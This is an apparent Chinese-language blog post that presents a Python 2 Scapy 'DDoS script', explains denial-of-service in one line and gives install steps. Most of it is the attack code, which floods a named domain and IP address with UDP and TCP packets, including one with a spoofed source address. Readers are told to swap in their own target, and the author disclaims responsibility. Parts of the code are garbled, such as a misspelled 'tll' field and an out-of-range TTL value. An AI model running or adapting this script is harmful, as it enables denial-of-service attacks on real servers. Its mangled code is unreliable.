python寫一個DDos腳本（DOS）

前言：突然想寫，然后去了解原理

 

DDOS原理：往指定的IP發送數據包（僵屍網絡），導致服務器

拒絕服務，無法正常訪問。

0x01:

要用到的模塊

scapy模塊
pip install scapy
或:
https://github.com/phaethon/scapy 
下載setup.py
然后執行python setup.py install
系統環境：kali Linux
windows會報模塊缺少還有一個162行的windows.dll的錯誤

　　打大站，妹的。惡心的一片的站

0x03

代碼分析：

#-*- coding:'utf-8' -*-
import  time
import  struct
from threading import *
import socket
from scapy.all  import  *
start=time.time()
screenlock=Semaphore(value=1000)
print '[^]HAQ DDOs start!'
def DDos():
  try:
    print '[*]Second layers of DDos'
    s=srp(IP(dst="www.dgjy.net",ttl=480)/UDP())#第二層攻擊
    print s[0].show()
  except Exception,e:
      print '[-]The cause of the mistake {}'.format(e)
  try:
    print '[*]Third layer DDos'
    p = srloop(IP(dst="www.dgjy.net", ttl=160) / UDP())#第三層攻擊
    print p[0].show()
  except Exception,s:
      print '[-]The cause of the mistake{}'.format(s)
  try:
    print '[*]Repeated attacks'
    see=srp(IP(dst="113.108.127.169")/TCP(dport=[80,443]))#重復攻擊
    print see[0].show()
  except Exception,f:
      print '[-]The cause of the mistake{}'.format(f)
  try:
    data = struct. pack ('=BHI',0x96,20,1000)
    pkt = IP(src='192.168.225.141',dst='113.108.127.169')/UDP(sport= 12345,dport=[80,443])/data
    print '[*]DDoS attacks are being carried out!'
    screenlock.acquire()
    send (pkt,inter= 1 ,count= 160)
  except Exception,g:
      print "[-]The cause of the mistake{}".format(g)
  try:
      print '[*]DDos'
      gp=sr1(IP(dst="www.dgjy.net",tll=(1,160))/UDP())
  except Exception,i:
      print '[-]cause of the mistake{}'.format(i)
t = Thread(target=DDos, args=())
t.start()
end=time.time()
print '[!]Time consuming of this program,The first time is the initialization time:',end-start

　　食用文檔：https://phaethon.github.io/scapy/api/usage.html#starting-scapy

      github下載地址:https://github.com/422926799/python

      自己修改目標

        惡意攻擊他人服務器出事請自行負責。